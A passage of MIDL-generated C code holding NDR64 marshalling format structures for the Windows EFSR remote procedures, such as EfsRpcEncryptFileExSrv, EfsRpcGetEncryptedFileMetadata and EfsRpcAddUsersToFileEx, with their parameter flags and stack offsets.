*/\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* ppProtectorList */      /* parameter ppProtectorList */\n        &__midl_frag198,\n        { \n        /* ppProtectorList */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag398,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag188_t __midl_frag188 =\n{ \n/* EfsRpcEncryptFileExSrv */\n    { \n    /* EfsRpcEncryptFileExSrv */      /* procedure EfsRpcEncryptFileExSrv */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* ProtectorDescriptor */      /* parameter ProtectorDescriptor */\n        &__midl_frag389,\n        { \n        /* ProtectorDescriptor */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag398,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag186_t __midl_frag186 =\n{ \n/* EfsRpcFlushEfsCache */\n    { \n    /* EfsRpcFlushEfsCache */      /* procedure EfsRpcFlushEfsCache */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 1 /* 0x1 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag398,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag184_t __midl_frag184 =\n{ \n/*  */\n    { \n    /* *ENCRYPTION_CERTIFICATE_HASH_LIST */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag38\n    },\n    { \n    /* *ENCRYPTION_CERTIFICATE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag74\n    },\n    { \n    /* *EFS_RPC_BLOB */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag106\n    }\n};\n\nstatic const __midl_frag183_t __midl_frag183 =\n{ \n/* ENCRYPTED_FILE_METADATA_SIGNATURE */\n    { \n    /* ENCRYPTED_FILE_METADATA_SIGNATURE */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* ENCRYPTED_FILE_METADATA_SIGNATURE */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */,\n        0,\n        0,\n        &__midl_frag184,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag182_t __midl_frag182 =\n{ \n/* *ENCRYPTED_FILE_METADATA_SIGNATURE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag183\n};\n\nstatic const __midl_frag181_t __midl_frag181 =\n{ \n/* *EFS_RPC_BLOB */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag106\n};\n\nstatic const __midl_frag180_t __midl_frag180 =\n{ \n/* *EFS_RPC_BLOB */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag106\n};\n\nstatic const __midl_frag177_t __midl_frag177 =\n{ \n/* EfsRpcSetEncryptedFileMetadata */\n    { \n    /* EfsRpcSetEncryptedFileMetadata */      /* procedure EfsRpcSetEncryptedFileMetadata */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* OldEfsStreamBlob */      /* parameter OldEfsStreamBlob */\n        &__midl_frag180,\n        { \n        /* OldEfsStreamBlob */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NewEfsStreamBlob */      /* parameter NewEfsStreamBlob */\n        &__midl_frag106,\n        { \n        /* NewEfsStreamBlob */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NewEfsSignature */      /* parameter NewEfsSignature */\n        &__midl_frag182,\n        { \n        /* NewEfsSignature */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag398,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag174_t __midl_frag174 =\n{ \n/* **EFS_RPC_BLOB */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag180\n};\n\nstatic const __midl_frag171_t __midl_frag171 =\n{ \n/* EfsRpcGetEncryptedFileMetadata */\n    { \n    /* EfsRpcGetEncryptedFileMetadata */      /* procedure EfsRpcGetEncryptedFileMetadata */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EfsStreamBlob */      /* parameter EfsStreamBlob */\n        &__midl_frag174,\n        { \n        /* EfsStreamBlob */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag398,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag169_t __midl_frag169 =\n{ \n/*  */\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag166\n    }\n};\n\nstatic const __midl_frag167_t __midl_frag167 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag166_t __midl_frag166 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag167\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag395\n    }\n};\n\nstatic const __midl_frag165_t __midl_frag165 =\n{ \n/* Struct_392_t */\n    { \n    /* Struct_392_t */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* Struct_392_t */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag169,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag164_t __midl_frag164 =\n{ \n/* *Struct_392_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag165\n};\n\nstatic const __midl_frag163_t __midl_frag163 =\n{ \n/* **Struct_392_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag164\n};\n\nstatic const __midl_frag162_t __midl_frag162 =\n{ \n/* Proc17_EfsRpcFileKeyInfoEx */\n    { \n    /* Proc17_EfsRpcFileKeyInfoEx */      /* procedure Proc17_EfsRpcFileKeyInfoEx */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* arg_1 */      /* parameter arg_1 */\n        &__midl_frag163,\n        { \n        /* arg_1 */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag398,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag153_t __midl_frag153 =\n{ \n/* EfsRpcFileKeyInfoEx */\n    { \n    /* EfsRpcFileKeyInfoEx */      /* procedure EfsRpcFileKeyInfoEx */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* dwFileKeyInfoFlags */      /* parameter dwFileKeyInfoFlags */\n        &__midl_frag398,\n        { \n        /* dwFileKeyInfoFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Reserved */      /* parameter Reserved */\n        &__midl_frag180,\n        { \n        /* Reserved */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* InfoClass */      /* parameter InfoClass */\n        &__midl_frag398,\n        { \n        /* InfoClass */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* KeyInfo */      /* parameter KeyInfo */\n        &__midl_frag174,\n        { \n        /* KeyInfo */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag398,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag151_t __midl_frag151 =\n{ \n/* *ENCRYPTION_CERTIFICATE_LIST */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag71\n};\n\nstatic const __midl_frag146_t __midl_frag146 =\n{ \n/* EfsRpcAddUsersToFileEx */\n    { \n    /* EfsRpcAddUsersToFileEx */      /* procedure EfsRpcAddUsersToFileEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* dwFlags */      /* parameter dwFlags */\n        &__midl_frag398,\n        { \n        /* dwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Reserved */      /* parameter Reserved */\n        &__midl_frag180,\n        { \n        /* Reserved */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* FileName */      /* parameter FileName */\n        &__midl_frag392,\n        { \n        /* FileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* EncryptionCertificates */      /* parameter EncryptionCertificates */\n        &__midl_frag71,\n        { \n        /* EncryptionCertificates */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag398,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            